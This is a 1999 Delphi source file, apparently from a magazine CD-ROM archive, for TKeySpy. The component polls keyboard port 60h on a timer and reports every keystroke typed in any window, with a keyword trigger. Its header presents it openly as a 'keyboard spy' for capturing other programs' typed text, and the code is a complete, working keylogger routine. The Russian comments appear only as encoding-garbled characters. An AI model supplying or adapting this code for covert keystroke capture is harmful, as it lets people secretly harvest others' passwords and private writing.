home *** CD-ROM | disk | FTP | other *** search
/ io Programmo 23 / IOPROG_23.ISO / SOFT / KEYSPY.ZIP / KeySpy.pas < prev    next >
Encoding:
Pascal/Delphi Source File  |  1999-01-21  |  8.8 KB  |  241 lines

  1. {*************************************************************}
  2. {            TKeySpy Component for Delphi 16/32               }
  3. { Version:   1.01                                             }
  4. { Author:    Aleksey Kuznetsov, Kiev, Ukraine                 }
  5. {            └δσΩ±σΘ ╩≤τφσ÷εΓ (Xacker), ╩ΦσΓ, ╙Ω≡αΦφα         }
  6. { E-Mail:    xacker@phreaker.net                              }
  7. { Created:   August, 16, 1998                                 }
  8. { Modified:  January, 20, 1999                                }
  9. { Legal:     Copyright (c) 1999 by Xacker from Droids Clan    }
  10. {*************************************************************}
  11. {                     KEYBOARD SPY:                           }
  12. { This component is intended for interception of pressing the }
  13. { keyboard. The KeySpy is possible to apply for interception  }
  14. { of the typed text of the another's programs, as keyboard    }
  15. { spy, or for processing events at type certain keywords etc..}
  16. {*************************************************************}
  17. {                 KEYBOARD SPY (Russian):                     }
  18. { ─αφφα  Ωε∞∩εφσφ≥α ∩≡σΣφατφα≈σφα Σδ  ∩σ≡σ⌡Γα≥α φαµα≥ΦΘ       }
  19. { ΩδαΓΦα≥≤≡√. KeySpy ∞εµφε ∩≡Φ∞σφ ≥ⁿ Σδ  ∩σ≡σ⌡Γα≥α            }
  20. { φαßΦ≡ασ∞επε ≥σΩ±≥α ≈≤µΦ⌡ ∩≡επ≡α∞∞, ΩαΩ ΩδαΓΦα≥≤≡φ√Θ °∩Φεφ,  }
  21. { ΦδΦ Σδ  Γ√∩εδφσφΦ  ΩαΩεπε-δΦßε ΣσΘ±≥ΓΦ  ∩≡Φ φαßε≡σ          }
  22. { ε∩≡σΣσδ╕φφεπε Ωδ■≈σΓεπε ±δεΓα (Keyword) Φ ≥.Σ.              }
  23. {*************************************************************}
  24. { Properties: ************************************************}
  25. {         Enabled: As it usual...                             }
  26. {         Keyword: At a set of this word event will be        }
  27. {                  carried out (See OnKeyword event).         }
  28. {     Events: ************************************************}
  29. {    OnKeySpyDown: As OnKeyDown, but in any place (window).   }
  30. {      OnKeySpyUp: As OnKeyUp, but in any place (window).     }
  31. {       OnKeyword: The Keyword has been typed (See Keyword).  }
  32. {*************************************************************}
  33. {                    IMPORTANT NOTE:                          }
  34. {  This code may be used and modified by anyone so long as    }
  35. { this header and copyright information remains intact. By    }
  36. { using this code you agree to indemnify Aleksey Xacker from  }
  37. { any liability that might arise from its use. You must       }
  38. { obtain written consent before selling or redistributing     }
  39. { this code.                                                  }
  40. {                                                             }
  41. { If at occurrence of any questions concerning these          }
  42. { component, drop me mail: xacker@phreaker.net.               }
  43. {*************************************************************}
  44. {  Changes:                                                   }
  45. { 20.I.1999: Added 32-bit support                             }
  46. {*************************************************************}
  47.  
  48. unit Keyspy;
  49.  
  50. interface
  51.  
  52. uses
  53.   {$IFDEF WIN32} Windows, {$ELSE} WinTypes, WinProcs,{$ENDIF}
  54.   SysUtils, Controls, Classes, Messages, Forms;
  55.  
  56. type
  57.   TOnKeySpy = procedure(Sender: TObject; Key: Byte; KeyStr: String) of object;
  58.   TKeySpy = class(TComponent)
  59.   private
  60.     FWindowHandle: HWnd;
  61.     FOnKeySpyDown, FOnKeySpyUp: TOnKeySpy;
  62.     FOnKeyword: TNotifyEvent;
  63.     FEnabled: Boolean;
  64.     FKeyword,
  65.     KeyComp: String;
  66.  
  67.     OldKey: Byte;
  68.     LShiftUp, RShiftUp: Boolean;
  69.     procedure UpdateTimer;
  70.     procedure SetEnabled(Value: Boolean);
  71.     procedure WndProc(var Msg: TMessage);
  72.   protected
  73.     procedure KeySpy; dynamic;
  74.   public
  75.     constructor Create(AOwner: TComponent); override;
  76.     destructor Destroy; override;
  77.   published
  78.     property Enabled: Boolean read FEnabled write SetEnabled;
  79.     property Keyword: String read FKeyword write FKeyword;
  80.     property OnKeySpyDown: TOnKeySpy read FOnKeySpyDown write FOnKeySpyDown;
  81.     property OnKeySpyUp: TOnKeySpy read FOnKeySpyUp write FOnKeySpyUp;
  82.     property OnKeyword: TNotifyEvent read FOnKeyword write FOnKeyword;
  83.   end;
  84.  
  85. procedure Register;
  86.  
  87. implementation
  88.  
  89. const
  90.   LowButtonName: Array[1..88] of PChar = ('--Esc','1','2','3','4','5','6','7','8','9',
  91.                                           '0','-','=','--BkSp','--Tab','q','w','e','r','t',
  92.                                           'y','u','i','o','p','[',']','--Enter','--Ctrl','a',
  93.                                           's','d','f','g','h','j','k','l',';','''','`',
  94.                                           '--LShift Down','\','z','x','c','v','b','n','m',',',
  95.                                           '.','/','--RShift Down','--Gray*','--Alt','--Space',
  96.                                           '--CapsLock','--F1','--F2','--F3','--F4','--F5',
  97.                                           '--F6','--F7','--F8','--F9','--F10',
  98.                                           '--NumLock','--ScrollLock','--Home','--Up',
  99.                                           '--PgUp','--Gray-','--Left','--*5*','--Right',
  100.                                           '--Gray+','--End','--Down','--PgDown','--Ins',
  101.                                           '--Del','--LShift Up','--RShift Up',
  102.                                           '--Unknown','--F11','--F12');
  103.  
  104.   HiButtonName: Array[1..88] of PChar = ('--Esc','!','@','#','$','%','^','&','*','(',
  105.                                          ')','_','+','--BkSp','--Tab','Q','W','E','R','T',
  106.                                          'Y','U','I','O','P','{','}','--Enter','--Ctrl','A',
  107.                                          'S','D','F','G','H','J','K','L',':','"','~',
  108.                                          '--LShift Down','|','Z','X','C','V','B','N','M','<',
  109.                                          '>','?','--RShift Down','--Gray*','--Alt','--Space',
  110.                                          '--CapsLock','--F1','--F2','--F3','--F4','--F5',
  111.                                          '--F6','--F7','--F8','--F9','--F10',
  112.                                          '--NumLock','--ScrollLock','--Home','--Up',
  113.                                          '--PgUp','--Gray-','--Left','--*5*','--Right',
  114.                                          '--Gray+','--End','--Down','--PgDown','--Ins',
  115.                                          '--Del','--LShift Up','--RShift Up',
  116.                                          '--Unknown','--F11','--F12');
  117.  
  118. constructor TKeySpy.Create(AOwner: TComponent);
  119. begin
  120.   inherited Create(AOwner);
  121.   LShiftUp := True;
  122.   RShiftUp := True;
  123.   FEnabled := True;
  124.   FWindowHandle := AllocateHWnd(WndProc);
  125.   if FEnabled then UpdateTimer;
  126. end;
  127.  
  128. destructor TKeySpy.Destroy;
  129. begin
  130.   FEnabled := False;
  131.   UpdateTimer;
  132.   DeallocateHWnd(FWindowHandle);
  133.   inherited Destroy;
  134. end;
  135.  
  136. procedure TKeySpy.WndProc(var Msg: TMessage);
  137. begin
  138.   with Msg do
  139.     if Msg = WM_TIMER then
  140.       try
  141.         KeySpy;
  142.       except
  143.         Application.HandleException(Self);
  144.       end
  145.     else
  146.       Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
  147. end;
  148.  
  149. procedure TKeySpy.UpdateTimer;
  150. var
  151.   b: Byte;
  152. begin
  153.   KillTimer(FWindowHandle, 1);
  154.   if FEnabled then
  155.    begin
  156.     asm
  157.       mov al, 60h
  158.       mov b, al
  159.     end;
  160.     OldKey := b;
  161.     if SetTimer(FWindowHandle, 1, 1, nil) = 0 then
  162.       raise EOutOfResources.Create('No timers');
  163.    end;
  164. end;
  165.  
  166. procedure TKeySpy.SetEnabled(Value: Boolean);
  167. begin
  168.   if Value <> FEnabled then
  169.   begin
  170.     FEnabled := Value;
  171.     UpdateTimer;
  172.   end;
  173. end;
  174.  
  175. procedure TKeySpy.KeySpy;
  176. var
  177.   Key: Byte;
  178.   St: String;
  179. begin
  180.   asm
  181.     in al, 60h
  182.     mov Key, al
  183.   end;
  184.   if Key = 170 then
  185.    begin
  186.     Key := 84;
  187.     LShiftUp := True;
  188.    end;
  189.   if Key = 182 then
  190.    begin
  191.     Key := 85;
  192.     RShiftUp := True;
  193.    end;
  194.   if Key = 42 then LShiftUp := False;
  195.   if Key = 54 then RShiftUp := False;
  196.   if Key <> OldKey then
  197.    begin
  198.     OldKey := Key;
  199.     if Key <= 88 then
  200.      if Assigned(FOnKeySpyDown) then
  201.       begin
  202.        if LShiftUp and RShiftUp then
  203.         St := StrPas(LowButtonName[Key])
  204.        else
  205.         St := StrPas(HiButtonName[Key]);
  206.  
  207.        FOnKeySpyDown(Self, Key, St);
  208.  
  209.        KeyComp := KeyComp + St;
  210.        if Length(KeyComp) > Length(FKeyword) then
  211.         begin
  212.          Move(KeyComp[Length(St) + 1], KeyComp[1], Length(KeyComp));
  213.          {$IFDEF WIN32}
  214.          SetLength(KeyComp, Length(FKeyword));
  215.          {$ELSE}
  216.          KeyComp[0] := char(Length(FKeyword));
  217.          {$ENDIF}
  218.         end;
  219.  
  220.        if KeyComp = FKeyword then FOnKeyword(Self);
  221.       end
  222.      else
  223.     else
  224.      if Assigned(FOnKeySpyUp) and (Key - 128 <= 88) then
  225.       begin
  226.        if LShiftUp and RShiftUp then
  227.         St := StrPas(LowButtonName[Key - 128])
  228.        else
  229.         St := StrPas(HiButtonName[Key - 128]);
  230.        FOnKeySpyUp(Self, Key, St)
  231.       end;
  232.    end;
  233. end;
  234.  
  235. procedure Register;
  236. begin
  237.   RegisterComponents('Xacker', [TKeySpy]);
  238. end;
  239.  
  240. end.
  241.